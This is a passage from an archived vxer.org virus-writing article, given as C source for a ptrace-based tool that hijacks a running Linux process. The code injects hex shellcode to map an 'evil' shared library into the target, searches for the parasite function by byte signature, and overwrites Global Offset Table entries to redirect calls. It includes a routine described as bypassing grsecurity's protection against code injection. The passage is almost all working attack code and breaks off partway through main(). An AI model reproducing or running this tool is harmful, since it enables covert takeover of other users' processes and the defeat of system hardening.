*\r\nhttps://web.archive.org/web/20150711051625/http://vxer.org/lib/vrn00.html\r\nPage 32 of 57\n\n* gcc dlh.c -o dlh\r\n * ./dlh \u003cpid\u003e \u003cfunction to hijack\u003e [opts]\r\n *\r\n */\r\n#include \u003cstdio.h\u003e\r\n#include \u003cstring.h\u003e\r\n#include \u003cunistd.h\u003e\r\n#include \u003csys/types.h\u003e\r\n#include \u003csys/ptrace.h\u003e\r\n#include \u003csys/mman.h\u003e\r\n#include \u003celf.h\u003e\r\n#include \u003cfcntl.h\u003e\r\n#include \u003cerrno.h\u003e\r\n#include \u003csys/stat.h\u003e\r\n#include \u003csignal.h\u003e\r\n#include \u003cstdlib.h\u003e\r\n#include \u003csys/wait.h\u003e\r\n#include \u003csys/user.h\u003e\r\n#include \u003csys/syscall.h\u003e\r\n#define ORIG_EAX 11\r\n#define MAXBUF 255\r\n/* memrw() request to modify global offset table */\r\n#define MODIFY_GOT 1\r\n/* memrw() request to patch parasite */\r\n/* with original function address */\r\n#define INJECT_TRANSFER_CODE 2\r\n#define EVILLIB \"libtest.so.1.0\"\r\n#define EVILLIB_FULLPATH \"/lib/libtest.so.1.0\"\r\n/* should be getting lib mmap size dynamically */\r\n/* from map file; this #define is temporary */\r\n#define LIBSIZE 5472\r\n/* struct to get symbol relocation info */\r\nstruct linking_info\r\n{\r\n        char name[256];\r\n        int index;\r\n        int count;\r\nhttps://web.archive.org/web/20150711051625/http://vxer.org/lib/vrn00.html\r\nPage 33 of 57\n\nuint32_t offset;\r\n};\r\nstruct segments\r\n{\r\n        unsigned long text_off;\r\n        unsigned long text_len;\r\n        unsigned long data_off;\r\n        unsigned long data_len;\r\n} segment;\r\nunsigned long original;\r\nextern int getstr;\r\nunsigned long text_base;\r\nunsigned long data_segment;\r\nchar static_sysenter = 0;\r\n/*\r\n_start:\r\n        jmp B\r\nA:\r\n        # fd = open(\"libtest.so.1.0\", O_RDONLY);\r\n        xorl %ecx, %ecx\r\n        movb $5, %al\r\n        popl %ebx\r\n        xorl %ecx, %ecx\r\n        int $0x80\r\n        subl $24, %esp\r\n        # mmap(0, 8192, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED, fd, 0);\r\n        xorl %edx, %edx\r\n        movl %edx, (%esp)\r\n        movl $8192,4(%esp)\r\n        movl $7, 8(%esp)\r\n        movl $2, 12(%esp)\r\n        movl %eax,16(%esp)\r\n        movl %edx, 20(%esp)\r\n        movl $90, %eax\r\n        movl %esp, %ebx\r\n        int $0x80\r\nhttps://web.archive.org/web/20150711051625/http://vxer.org/lib/vrn00.html\r\nPage 34 of 57\n\nint3\r\nB:\r\n        call A\r\n        .string \"/lib/libtest.so.1.0\"\r\n*/\r\n/* make sure to put your shared lib in /lib and name it libtest.so.1.0 */\r\nchar mmap_shellcode[] =\r\n        \"\\xe9\\x3b\\x00\\x00\\x00\\x31\\xc9\\xb0\\x05\\x5b\\x31\\xc9\\xcd\\x80\\x83\\xec\"\r\n        \"\\x18\\x31\\xd2\\x89\\x14\\x24\\xc7\\x44\\x24\\x04\\x00\\x20\\x00\\x00\\xc7\\x44\"\r\n        \"\\x24\\x08\\x07\\x00\\x00\\x00\\xc7\\x44\\x24\\x0c\\x02\\x00\\x00\\x00\\x89\\x44\"\r\n        \"\\x24\\x10\\x89\\x54\\x24\\x14\\xb8\\x5a\\x00\\x00\\x00\\x89\\xe3\\xcd\\x80\\xcc\"\r\n        \"\\xe8\\xc0\\xff\\xff\\xff\\x2f\\x6c\\x69\\x62\\x2f\\x6c\\x69\\x62\\x74\\x65\\x73\"\r\n        \"\\x74\\x2e\\x73\\x6f\\x2e\\x31\\x2e\\x30\\x00\";\r\n/* the signature for our evil function in our shared object */\r\n/* we use the first 8 bytes of our function code */\r\n/* make sure this is modified based on your parasite (evil function) */\r\nunsigned char evilsig[] = \"\\x55\\x89\\xe5\\x83\\xec\\x18\\xc6\\x45\";\r\n/* here is the signature for our transfer code, this will vary */\r\n/* depending on whether or not you use a function pointer or a */\r\n/* movl/jmp sequence. The one below is for a function pointer */\r\nunsigned char tc[] = \"\\xc7\\x45\\xfc\\x00\";\r\n/*  Our memrw() function serves three purposes\r\n 1. modify .got entry with replacement function\r\n 2. patch transfer code within replacement function\r\n 3. read from any text memory location in process\r\n*/\r\nunsigned long evil_base;\r\nunsigned long memrw(unsigned long *buf, unsigned long vaddr, unsigned int size, int pid, unsigned long new)\r\n{\r\n        int i, j, data;\r\n        int ret;\r\n        int ptr = vaddr;\r\n        /* get the memory address of the function to hijack */\r\n        if (size == MODIFY_GOT \u0026\u0026 !buf)\r\n        {\r\n              printf(\"Modifying GOT(%x)\\n\", vaddr);\r\n              original = (unsigned long)ptrace(PTRACE_PEEKTEXT, pid, vaddr);\r\n              ret = ptrace(PTRACE_POKETEXT, pid, vaddr, new);\r\nhttps://web.archive.org/web/20150711051625/http://vxer.org/lib/vrn00.html\r\nPage 35 of 57\n\nreturn (unsigned long)ptrace(PTRACE_PEEKTEXT, pid, vaddr);\r\n        }      \r\n        else\r\n        if(size == INJECT_TRANSFER_CODE)\r\n        {\r\n                printf(\"Injecting %x at 0x%x\\n\", new, vaddr);\r\n                ptrace(PTRACE_POKETEXT, pid, vaddr, new);\r\n                        j = 0;\r\n                vaddr --;\r\n                for (i = 0; i \u003c 2; i++)\r\n                {\r\n                        data = ptrace(PTRACE_PEEKTEXT, pid, (vaddr + j));\r\n                        buf[i] = data;\r\n                        j += 4;\r\n                }\r\n                return 1;\r\n        }\r\n        else\r\n        printf(\"Reading from process image at 0x%x\\n\", vaddr);\r\n        for (i = 0, j = 0; i \u003c size; i+= sizeof(uint32_t), j++)\r\n        {\r\n                /* PTRACE_PEEK can return -1 on success, check errno */\r\n                if(((data = ptrace(PTRACE_PEEKTEXT, pid, vaddr + i)) == -1) \u0026\u0026 errno)\r\n                        return -1;\r\n                buf[j] = data;\r\n        }\r\n        return i;\r\n}\r\n/* bypass grsec patch that prevents code injection into text */\r\nint grsec_mmap_library(int pid)\r\n{\r\n        struct  user_regs_struct reg;\r\n        long eip, esp, string, offset, str,\r\n        eax, ebx, ecx, edx, orig_eax, data;\r\n        int syscall;\r\n        int i, j = 0, ret, status, fd;\r\n        char library_string[MAXBUF];\r\n        char orig_ds[MAXBUF];\r\n        char buf[MAXBUF] = {0};\r\n        unsigned char tmp[8192], *mem;\r\n        char open_done = 0, mmap_done = 0;\r\nhttps://web.archive.org/web/20150711051625/http://vxer.org/lib/vrn00.html\r\nPage 36 of 57\n\nunsigned long sysenter = 0;\r\n        Elf32_Ehdr *ehdr;\r\n        Elf32_Phdr *phdr;\r\n        int libfd;\r\n        struct stat lst;\r\n        long text_offset, text_length, data_offset, data_length;\r\n        if ((libfd = open(EVILLIB_FULLPATH, O_RDONLY)) == -1)\r\n        {\r\n                perror(\"open\");\r\n                return 0;\r\n        }\r\n        if (fstat(libfd, \u0026lst) \u003c 0)\r\n        {\r\n                perror(\"fstat\");\r\n                return 0;\r\n        }\r\n        mem = mmap(NULL, lst.st_size, PROT_READ, MAP_PRIVATE, libfd, 0);\r\n        if (mem == MAP_FAILED)\r\n        {\r\n                perror(\"mmap\");\r\n                return 0;\r\n        }\r\n        ehdr = (Elf32_Ehdr *)mem;\r\n        phdr = (Elf32_Phdr *)(mem + ehdr-\u003ee_phoff);\r\n        for (i = ehdr-\u003ee_phnum; i-- \u003e 0; phdr++)\r\n                if (phdr-\u003ep_type == PT_LOAD \u0026\u0026 phdr-\u003ep_offset == 0)\r\n                {\r\n                        text_offset = phdr-\u003ep_offset;\r\n                        text_length = phdr-\u003ep_filesz;\r\n                        phdr++;\r\n                        data_offset = phdr-\u003ep_offset;\r\n                        data_length = phdr-\u003ep_filesz;\r\n                        break;\r\n                }\r\n        strcpy(library_string, EVILLIB_FULLPATH);\r\n                /* backup first part of data segment which will use for a string and some vars */\r\n        memrw ((unsigned long *)orig_ds, data_segment, strlen(library_string)+32, pid, 0);\r\nhttps://web.archive.org/web/20150711051625/http://vxer.org/lib/vrn00.html\r\nPage 37 of 57\n\n/* store our string for our evil lib there */\r\n        for (i = 0; i \u003c strlen(library_string); i += 4)\r\n                ptrace(PTRACE_POKETEXT, pid, (data_segment + i), *(long *)(library_string + i));\r\n                /* verify we have the correct string */\r\n        for (i = 0; i \u003c strlen(library_string); i+= 4)\r\n                *(long *)\u0026buf[i] = ptrace(PTRACE_PEEKTEXT, pid, (data_segment + i));\r\n                if (strcmp(buf, EVILLIB_FULLPATH) == 0)\r\n                printf(\"Verified string is stored in DS: %s\\n\", buf);\r\n        else\r\n        {\r\n                printf(\"String was not properly stored in DS: %s\\n\", buf);\r\n                return 0;\r\n        }\r\n                ptrace(PTRACE_SYSCALL, pid, NULL, NULL);\r\n        wait(NULL);\r\n        ptrace(PTRACE_GETREGS, pid, NULL, \u0026reg);\r\n        eax = reg.eax;\r\n        ebx = reg.ebx;\r\n        ecx = reg.ecx;\r\n        edx = reg.edx;\r\n        eip = reg.eip;\r\n        esp = reg.esp;\r\n                long syscall_eip = reg.eip - 20;\r\n                /* this gets sysenter dynamically incase its randomized */\r\n        if (!static_sysenter)\r\n        {\r\n                memrw((unsigned long *)tmp, syscall_eip, 20, pid, 0);\r\n                for (i = 0; i \u003c 20; i++)\r\n                {\r\n                        if (!(i % 10))\r\n                                printf(\"\\n\");\r\n                         printf(\"%.2x \", tmp[i]);\r\n                         if (tmp[i] == 0x0f \u0026\u0026 tmp[i + 1] == 0x34)\r\n                                sysenter = syscall_eip + i;\r\n                }\r\n        }\r\n        /* this works only if sysenter isn't at random location */\r\n        else\r\nhttps://web.archive.org/web/20150711051625/http://vxer.org/lib/vrn00.html\r\nPage 38 of 57\n\n{\r\n                memrw((unsigned long *)tmp, 0xffffe000, 8192, pid, 0);\r\n                for (i = 0; i \u003c 8192; i++)\r\n                {\r\n                        if (tmp[i] == 0x0f \u0026\u0026 tmp[i+1] == 0x34)\r\n                                sysenter = 0xffffe000 + i;\r\n                }\r\n        }\r\n        sysenter -= 5;\r\n        if (!sysenter)\r\n        {\r\n                printf(\"Unable to find sysenter\\n\");\r\n                exit(-1);\r\n        }\r\n        printf(\"Sysenter found: %x\\n\", sysenter);      \r\n        /*\r\n         sysenter should point to:\r\n              push   %ecx\r\n              push   %edx\r\n              push   %ebp\r\n              mov    %esp,%ebp\r\n              sysenter\r\n        */\r\n        ptrace(PTRACE_DETACH, pid, NULL, NULL);\r\n        wait(0);\r\n        if (ptrace(PTRACE_ATTACH, pid, NULL, NULL))\r\n        {\r\n              perror(\"ptrace_attach\");\r\n              exit(-1);\r\n        }\r\n        waitpid(pid, \u0026status, WUNTRACED);\r\n                reg.eax = SYS_open;\r\n        reg.ebx = (long)data_segment;\r\n        reg.ecx = 0;  \r\n        reg.eip = sysenter;\r\n                ptrace(PTRACE_SETREGS, pid, NULL, \u0026reg);\r\n        ptrace(PTRACE_GETREGS, pid, NULL, \u0026reg);\r\nhttps://web.archive.org/web/20150711051625/http://vxer.org/lib/vrn00.html\r\nPage 39 of 57\n\nfor(i = 0; i \u003c 5; i++)\r\n        {\r\n                ptrace(PTRACE_SINGLESTEP, pid, NULL, NULL);\r\n                wait(NULL);\r\n                ptrace(PTRACE_GETREGS, pid, NULL, \u0026reg);\r\n                if (reg.eax != SYS_open)\r\n                        fd = reg.eax;\r\n        }\r\n        offset = (data_segment + strlen(library_string)) + 8;\r\n        reg.eip = sysenter;\r\n        reg.eax = SYS_mmap;\r\n        reg.ebx = offset;\r\n                        ptrace(PTRACE_POKETEXT, pid, offset, 0);       // 0\r\n        ptrace(PTRACE_POKETEXT, pid, offset + 4, text_length + (PAGE_SIZE - (text_length \u0026 (PAGE_SIZE -\r\n1))));\r\n        ptrace(PTRACE_POKETEXT, pid, offset + 8, 5);   // PROT_READ|PROT\r\n        ptrace(PTRACE_POKETEXT, pid, offset + 12, 2);   // MAP_SHARED\r\n        ptrace(PTRACE_POKETEXT, pid, offset + 16, fd);   // fd\r\n        ptrace(PTRACE_POKETEXT, pid, offset + 20, text_offset);\r\n        ptrace(PTRACE_SETREGS, pid, NULL, \u0026reg);\r\n        ptrace(PTRACE_GETREGS, pid, NULL, \u0026reg);\r\n                for(i = 0; i \u003c 5; i++)\r\n        {\r\n                ptrace(PTRACE_SINGLESTEP, pid, NULL, NULL);\r\n                wait(NULL);\r\n                ptrace(PTRACE_GETREGS, pid, NULL, \u0026reg);\r\n                if (reg.eax != SYS_mmap)\r\n                        evil_base = reg.eax;\r\n        }\r\n                reg.eip = sysenter;\r\n        reg.eax = SYS_mmap;\r\n        reg.ebx = offset;\r\n        ptrace(PTRACE_POKETEXT, pid, offset, 0);       // 0\r\n        ptrace(PTRACE_POKETEXT, pid, offset + 4, data_length + (PAGE_SIZE - (data_length \u0026 (PAGE_SIZE -\r\n1))));\r\n        ptrace(PTRACE_POKETEXT, pid, offset + 8, 3);   // PROT_READ|PROT_WRITE\r\n        ptrace(PTRACE_POKETEXT, pid, offset + 12, 2);   // MAP_SHARED\r\nhttps://web.archive.org/web/20150711051625/http://vxer.org/lib/vrn00.html\r\nPage 40 of 57\n\nptrace(PTRACE_POKETEXT, pid, offset + 16, fd);   // fd\r\n        ptrace(PTRACE_POKETEXT, pid, offset + 20, data_offset);\r\n                ptrace(PTRACE_SETREGS, pid, NULL, \u0026reg);\r\n        ptrace(PTRACE_GETREGS, pid, NULL, \u0026reg);\r\n        for(i = 0; i \u003c 5; i++)\r\n        {\r\n                ptrace(PTRACE_SINGLESTEP, pid, NULL, NULL);\r\n                wait(NULL);\r\n        }\r\n                printf(\"Restoring data segment\\n\");\r\n        for (i = 0; i \u003c strlen(library_string) + 32; i++)\r\n                ptrace(PTRACE_POKETEXT, pid, (data_segment + i), *(long *)(orig_ds + i));\r\n                reg.eip = eip;\r\n        reg.eax = eax;\r\n        reg.ebx = ebx;\r\n        reg.ecx = ecx;\r\n        reg.edx = edx;\r\n        reg.esp = esp;\r\n                ptrace(PTRACE_SETREGS, pid, NULL, \u0026reg);\r\n        ptrace(PTRACE_DETACH, pid, NULL, NULL);\r\n}\r\n/* function to load our evil library */\r\nint mmap_library(int pid)\r\n{\r\n        struct  user_regs_struct reg;\r\n        long eip, esp, string, offset, str,\r\n        eax, ebx, ecx, edx;\r\n        int i, j = 0, ret, status;\r\n        unsigned long buf[30];\r\n        unsigned char saved_text[94];\r\n        unsigned char *p;\r\n        ptrace(PTRACE_GETREGS, pid, NULL, \u0026reg);\r\n        eip = reg.eip;\r\n        esp = reg.esp;\r\n        eax = reg.eax;\r\n        ebx = reg.ebx;\r\nhttps://web.archive.org/web/20150711051625/http://vxer.org/lib/vrn00.html\r\nPage 41 of 57\n\necx = reg.ecx;\r\n        edx = reg.edx;\r\n        offset = text_base;\r\n                printf(\"%%eip -\u003e 0x%x\\n\", eip);\r\n        printf(\"Injecting mmap_shellcode at 0x%x\\n\", offset);\r\n          /* were going to load our shellcode at base */\r\n        /* first we must backup the original code into saved_text */\r\n        for (i = 0; i \u003c 90; i += 4)\r\n                buf[j++] = ptrace(PTRACE_PEEKTEXT, pid, (offset + i));\r\n        p = (unsigned char *)buf;\r\n        memcpy(saved_text, p, 90);\r\n                printf(\"Here is the saved code we will be overwriting:\\n\");\r\n        for (j = 0, i = 0; i \u003c 90; i++)\r\n        {\r\n                if ((j++ % 20) == 0)\r\n                        printf(\"\\n\");\r\n                printf(\"\\\\x%.2x\", saved_text[i]);\r\n        }\r\n        printf(\"\\n\");\r\n         /* load shellcode into text starting at eip */\r\n        for (i = 0; i \u003c 90; i += 4)\r\n                 ptrace(PTRACE_POKETEXT, pid, (offset + i), *(long *)(mmap_shellcode + i));\r\n                printf(\"\\nVerifying shellcode was injected properly, does this look ok?\\n\");\r\n        j = 0;\r\n        for (i = 0; i \u003c 90; i += 4)\r\n                buf[j++] = ptrace(PTRACE_PEEKTEXT, pid, (offset + i));\r\n        p = (unsigned char *) buf;\r\n        for (j = 0, i = 0; i \u003c 90; i++)\r\n        {\r\n                if ((j++ % 20) == 0)\r\n                        printf(\"\\n\");\r\n                printf(\"\\\\x%.2x\", p[i]);\r\n        }\r\n        printf(\"\\n\\nSetting %%eip to 0x%x\\n\", offset);\r\n        reg.eip = offset + 2;\r\n        ptrace(PTRACE_SETREGS, pid, NULL, \u0026reg);\r\n                ptrace(PTRACE_CONT, pid, NULL, NULL);\r\nhttps://web.archive.org/web/20150711051625/http://vxer.org/lib/vrn00.html\r\nPage 42 of 57\n\nwait(NULL);\r\n        /* check where eip is now at */\r\n        ptrace(PTRACE_GETREGS, pid, NULL, \u0026reg);\r\n        printf(\"%%eip is now at 0x%x, resetting it to 0x%x\\n\", reg.eip, eip);\r\n        printf(\"inserting original code back\\n\");\r\n                for (j = 0, i = 0; i \u003c 90; i += 4)\r\n                buf[j++] = ptrace(PTRACE_POKETEXT, pid, (offset + i), *(long *)(saved_text + i));\r\n        /* get base addr of our mmap'd lib */\r\n        evil_base = reg.eax;\r\n                reg.eip = eip;\r\n        reg.eax = eax;\r\n        reg.ebx = ebx;\r\n        reg.ecx = ecx;\r\n        reg.edx = edx;\r\n        reg.esp = esp;\r\n        ptrace(PTRACE_SETREGS, pid, NULL, \u0026reg);\r\n                if (ptrace(PTRACE_DETACH, pid, NULL, NULL) == -1)\r\n        {\r\n                perror(\"ptrace_detach\");\r\n                exit(-1);\r\n        }\r\n}\r\n/* this parses/pulls the R_386_JUMP_SLOT relocation entries from our process */\r\nstruct linking_info * get_plt(unsigned char *mem)\r\n{\r\n        Elf32_Ehdr *ehdr;\r\n        Elf32_Shdr *shdr, *shdrp, *symshdr;\r\n        Elf32_Sym *syms, *symsp;\r\n        Elf32_Rel *rel;\r\n        char *symbol;\r\n        int i, j, symcount, k;\r\n        struct linking_info *link;\r\n        ehdr = (Elf32_Ehdr *)mem;\r\n        shdr = (Elf32_Shdr *)(mem + ehdr-\u003ee_shoff);\r\nhttps://web.archive.org/web/20150711051625/http://vxer.org/lib/vrn00.html\r\nPage 43 of 57\n\nshdrp = shdr;\r\n        for (i = ehdr-\u003ee_shnum; i-- \u003e 0; shdrp++)\r\n        {\r\n                if (shdrp-\u003esh_type == SHT_DYNSYM)\r\n                {\r\n                        symshdr = \u0026shdr[shdrp-\u003esh_link];\r\n                        if ((symbol = malloc(symshdr-\u003esh_size)) == NULL)\r\n                                goto fatal;\r\n                        memcpy(symbol, (mem + symshdr-\u003esh_offset), symshdr-\u003esh_size);\r\n                        if ((syms = (Elf32_Sym *)malloc(shdrp-\u003esh_size)) == NULL)\r\n                                goto fatal;\r\n                        memcpy((Elf32_Sym *)syms, (Elf32_Sym *)(mem + shdrp-\u003esh_offset), shdrp-\u003esh_size);\r\n                        symsp = syms;\r\n                        symcount = (shdrp-\u003esh_size / sizeof(Elf32_Sym));\r\n                        link = (struct linking_info *)malloc(sizeof(struct linking_info) * symcount);\r\n                        if (!link)\r\n                                goto fatal;\r\n                        link[0].count = symcount;\r\n                        for (j = 0; j \u003c symcount; j++, symsp++)\r\n                        {\r\n                                strncpy(link[j].name, \u0026symbol[symsp-\u003est_name], sizeof(link[j].name)-1);\r\n                                if (!link[j].name)\r\n                                        goto fatal;\r\n                                link[j].index = j;\r\n                        }\r\n                        break;\r\n                }\r\n        }\r\n        for (i = ehdr-\u003ee_shnum; i-- \u003e 0; shdr++)\r\n        {\r\n                switch(shdr-\u003esh_type)\r\n                {\r\n                        case SHT_REL:\r\n                                 rel = (Elf32_Rel *)(mem + shdr-\u003esh_offset);\r\n                                 for (j = 0; j \u003c shdr-\u003esh_size; j += sizeof(Elf32_Rel), rel++)\r\n                                 {\r\n                                        for (k = 0; k \u003c symcount; k++)\r\n                                        {\r\n                                                if (ELF32_R_SYM(rel-\u003er_info) == link[k].index)\r\nhttps://web.archive.org/web/20150711051625/http://vxer.org/lib/vrn00.html\r\nPage 44 of 57\n\nlink[k].offset = rel-\u003er_offset;\r\n                                        }\r\n                                 }\r\n                                 break;\r\n                        case SHT_RELA:\r\n                                break;\r\n                        default:\r\n                                break;\r\n                }\r\n        }\r\n        return link;\r\n        fatal:\r\n                return NULL;\r\n}\r\nunsigned long search_evil_lib(int pid, unsigned long vaddr)\r\n{\r\n        unsigned char *buf;\r\n        int i = 0, ret;\r\n        int j = 0, c = 0;\r\n        unsigned long evilvaddr = 0;\r\n        if ((buf = malloc(LIBSIZE)) == NULL)\r\n        {\r\n                perror(\"malloc\");\r\n                exit(-1);\r\n        }\r\n        ret = memrw((unsigned long *)buf, vaddr, LIBSIZE, pid, 0);\r\n        printf(\"Searching at library base [0x%x] for evil function\\n\", vaddr);\r\n                for (i = 0; i \u003c LIBSIZE; i++)\r\n        {\r\n                  if (buf[i] == evilsig[0] \u0026\u0026 buf[i+1] == evilsig[1] \u0026\u0026 buf[i+2] == evilsig[2]\r\n                 \u0026\u0026 buf[i+3] == evilsig[3] \u0026\u0026 buf[i+4] == evilsig[4] \u0026\u0026 buf[i+5] == evilsig[5]\r\n                 \u0026\u0026 buf[i+6] == evilsig[6] \u0026\u0026 buf[i+7] == evilsig[7])\r\n                 {\r\n                        evilvaddr = (vaddr + i);\r\n                        break;\r\n                 }\r\n        }\r\nhttps://web.archive.org/web/20150711051625/http://vxer.org/lib/vrn00.html\r\nPage 45 of 57\n\nc = 0;\r\n        j = evilvaddr;\r\n        printf(\"Printing parasite code -\u003e\\n\");\r\n        while (j++ \u003c evilvaddr + 50)\r\n        {\r\n                if ((c++ % 20) == 0)\r\n                        printf(\"\\n\");\r\n                printf(\"%.2x \", buf[i++]);\r\n        }\r\n        printf(\"\\n\");\r\n        if (evilvaddr)\r\n                return (evilvaddr);\r\n        return 0;\r\n}\r\nint check_for_lib(char *lib, FILE *fd)\r\n{\r\n        char buf[MAXBUF];\r\n                while(fgets(buf, MAXBUF-1, fd))\r\n                if (strstr(buf, lib))\r\n                        return 1;\r\n        return 0;\r\n}\r\nint main(int argc, char **argv)\r\n{\r\n        char meminfo[20], ps[7], buf[MAXBUF], tmp[MAXBUF], *p, *file;\r\n        char *function, et_dyn = 0, grsec = 0;\r\n        FILE *fd;\r\n        uint32_t i;\r\n        struct stat st;\r\n        unsigned char *mem;\r\n        int md, status;\r\n        Elf32_Ehdr *ehdr;\r\n        Elf32_Phdr *phdr;\r\n        Elf32_Addr text_vaddr, got_offset;\r\n        Elf32_Addr export, elf_base, dyn_mmap_got_addr;\r\n        unsigned long evilfunc;\r\n        struct linking_info *lp;\r\n        int pid;\r\n        unsigned char *libc;\r\nhttps://web.archive.org/web/20150711051625/http://vxer.org/lib/vrn00.html\r\nPage 46 of 57\n\nif (argc \u003c 3)\r\n        {\r\n                usage:\r\n                printf(\"Usage: %s \u003cpid\u003e \u003cfunction\u003e [opts]\\n\"\r\n                       \"-d      ET_DYN processes\\n\"\r\n                       \"-g      bypass grsec binary flag restriction \\n\"\r\n                       \"-2      Meant to be used as a secondary method of\\n\"\r\n                       \"finding sysenter with -g; if -g fails, then add -2\\n\"\r\n                       \"Example 1: %s \u003cpid\u003e \u003cfunction\u003e -g\\n\"\r\n                       \"Example 2: %s \u003cpid\u003e \u003cfunction\u003e -g -2\\n\", argv[0],argv[0],argv[0]);\r\n                                      exit(0);\r\n        }\r\n        i = 0;\r\n        while (argv[1][i] \u003e= '0' \u0026\u0026 argv[1][i] \u003c= '9')\r\n               i++;\r\n        if (i != strlen(argv[1]))\r\n                goto usage;\r\n                if (argc \u003e 3)\r\n        {\r\n                if (argv[3][0] == '-' \u0026\u0026 argv[3][1] == 'd')\r\n                        et_dyn = 1;\r\n                                if (argv[3][0] == '-' \u0026\u0026 argv[3][1] == 'g')\r\n                        grsec = 1;\r\n                if (argv[4] \u0026\u0026 !strcmp(argv[4], \"-2\"))\r\n                        static_sysenter = 1;\r\n                else\r\n                if (argv[4])\r\n                {\r\n                        printf(\"Unrecognized option: %s\\n\", argv[4]);\r\n                        goto usage;\r\n                }\r\n                        }\r\n        pid = atoi(argv[1]);\r\n        if((function = strdup(argv[2])) == NULL)\r\n        {\r\n                perror(\"strdup\");\r\n                exit(-1);\r\n        }\r\nhttps://web.archive.org/web/20150711051625/http://vxer.org/lib/vrn00.html\r\nPage 47 of 57\n\nsnprintf(meminfo, sizeof(meminfo)-1, \"/proc/%d/maps\", pid);\r\n        if ((fd = fopen(meminfo, \"r\")) == NULL)\r\n        {\r\n                printf(\"PID: %i cannot be checked, /proc/%i/maps does not exist\\n\", pid, pid);\r\n                return -1;\r\n        }\r\n        /* ET_DYN */\r\n        if (et_dyn)\r\n        {\r\n                while (fgets(buf, MAXBUF-1, fd))               \r\n                {      \r\n                        if (strstr(buf, \"r-xp\") \u0026\u0026 !strstr(buf, \".so\"))\r\n                        {\r\n                                strncpy(tmp, buf, MAXBUF-1);\r\n                                                                if ((p = strchr(buf, '-')))\r\n                                        *p = '\\0';\r\n                                text_base = strtoul(buf, NULL, 16);\r\n                                                if (strchr(tmp, '/'))\r\n                                        while (tmp[i++] != '/');\r\n                                else\r\n                                {\r\n                                        fclose(fd);\r\n                                        printf(\"error parsing pid map\\n\");\r\n                                        exit(-1);\r\n                                }\r\n                                if ((file = strdup((char *)\u0026tmp[i - 1])) == NULL)\r\n                                {\r\n                                        perror(\"strdup\");\r\n                                        exit(-1);\r\n                                }          \r\n                                i = 0; \r\n                                while (file[i++] != '\\n');\r\n                                file[i - 1] = '\\0';\r\n                                goto next;\r\n                         }\r\n                }\r\n        }\r\n        /* ET_EXEC */\r\nhttps://web.archive.org/web/20150711051625/http://vxer.org/lib/vrn00.html\r\nPage 48 of 57\n\nfgets(buf, MAXBUF-1, fd);\r\n        strncpy(tmp, buf, MAXBUF-1);\r\n        if (strchr(tmp, '/'))\r\n                while (tmp[i++] != '/');\r\n        else\r\n        {\r\n                fclose (fd);\r\n                printf(\"error parsing pid map\\n\");\r\n                exit(-1);\r\n        }\r\n        if ((file = strdup((char *)\u0026tmp[i - 1])) == NULL)\r\n        {\r\n                perror(\"strdup\");\r\n                exit(-1);\r\n        }\r\n        i = 0;\r\n        while (file[i++] != '\\n');\r\n        file[i - 1] = '\\0';\r\n                next:\r\n                if ((md = open(file, O_RDONLY)) == -1)\r\n        {\r\n                perror(\"open\");\r\n                exit(-1);\r\n        }\r\n        if (fstat(md, \u0026st) \u003c 0)\r\n        {\r\n                perror(\"fstat\");\r\n                exit(-1);\r\n        }\r\n        mem = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, md, 0);\r\n        if (mem == MAP_FAILED)\r\n        {\r\n                perror(\"mmap\");\r\n                exit(-1);\r\n        }\r\n                ehdr = (Elf32_Ehdr *)mem;\r\nhttps://web.archive.org/web/20150711051625/http://vxer.org/lib/vrn00.html\r\nPage 49 of 57\n\nif (ehdr-\u003ee_ident[0] != 0x7f \u0026\u0026 strcmp(\u0026ehdr-\u003ee_ident[1], \"ELF\"))\r\n        {\r\n                printf(\"%s is not an ELF file\\n\", file);\r\n                goto done;\r\n        }\r\n        /* we target executables only, althoug ET_DYN would be a viable target */\r\n        /* as well */\r\n        if (ehdr-\u003ee_type != ET_EXEC \u0026\u0026 ehdr-\u003ee_type != ET_DYN)\r\n        {\r\n                printf(\"%s is not an executable or object file, cannot target process %d\\n\", file, pid);\r\n                goto done;\r\n        }\r\n        if (ehdr-\u003ee_type == ET_DYN \u0026\u0026 !et_dyn)\r\n        {\r\n                printf(\"Target process is of type ET_DYN, but the '-d' option was not specified -- exiting...\\n\");\r\n                goto done;\r\n        }\r\n        phdr = (Elf32_Phdr *)(mem + ehdr-\u003ee_phoff);\r\n                /* get the base -- p_vaddr of text segment */\r\n        for (i = ehdr-\u003ee_phoff; i-- \u003e 0; phdr++)\r\n        {\r\n                if (phdr-\u003ep_type == PT_LOAD \u0026\u0026 !phdr-\u003ep_offset)\r\n                {\r\n                        elf_base = text_base = phdr-\u003ep_vaddr;\r\n                        phdr++;\r\n                        data_segment = phdr-\u003ep_vaddr;\r\n                        break;\r\n                }\r\n        }\r\n        if (ptrace(PTRACE_ATTACH, pid, NULL, NULL))\r\n        {\r\n                printf(\"Failed to attach to process\\n\");\r\n                exit(-1);\r\n        }\r\n        waitpid(pid, \u0026status, WUNTRACED);\r\n                /* get the symbol relocation information */\r\n        if ((lp = (struct linking_info *)get_plt(mem)) == NULL)\r\n        {\r\n               printf(\"get_plt() failed\\n\");\r\nhttps://web.archive.org/web/20150711051625/http://vxer.org/lib/vrn00.html\r\nPage 50 of 57\n\ngoto done;\r\n        }\r\n                /* inject mmap shellcode into process to load lib */\r\n        if (check_for_lib(EVILLIB, fd) == 0)\r\n        {\r\n                printf(\"Injecting library\\n\");\r\n                if (grsec)\r\n                        grsec_mmap_library(pid);\r\n                else\r\n                        mmap_library(pid);\r\n                if (ptrace(PTRACE_ATTACH, pid, NULL, NULL))\r\n                {\r\n                        perror(\"ptrace_attach\");\r\n                        exit(-1);\r\n                }\r\n                waitpid(pid, \u0026status, WUNTRACED);\r\n                fclose(fd);\r\n                if ((fd = fopen(meminfo, \"r\")) == NULL)\r\n                {\r\n                        printf(\"PID: %i cannot be checked, /proc/%i/maps does not exist\\n\", pid, pid);\r\n                        return -1;\r\n                }\r\n        }\r\n        else\r\n        {\r\n                printf(\"Process %d appears to be infected, %s is mmap'd already\\n\", pid, EVILLIB);\r\n                goto done;\r\n        }\r\n        if ((evilfunc = search_evil_lib(pid, evil_base)) == 0)\r\n        {\r\n                printf(\"Could not locate evil function\\n\");\r\n                goto done;\r\n        }\r\n                printf(\"Evil Function location: %x\\n\", evilfunc);\r\n        printf(\"Modifying GOT entry: replace \u003c%s\u003e with %x\\n\", function, evilfunc);\r\n                /* overwrite GOT entry with addr to evilfunc (our replacement) */\r\n                  for (i = 0; i \u003c lp[0].count; i++)\r\n        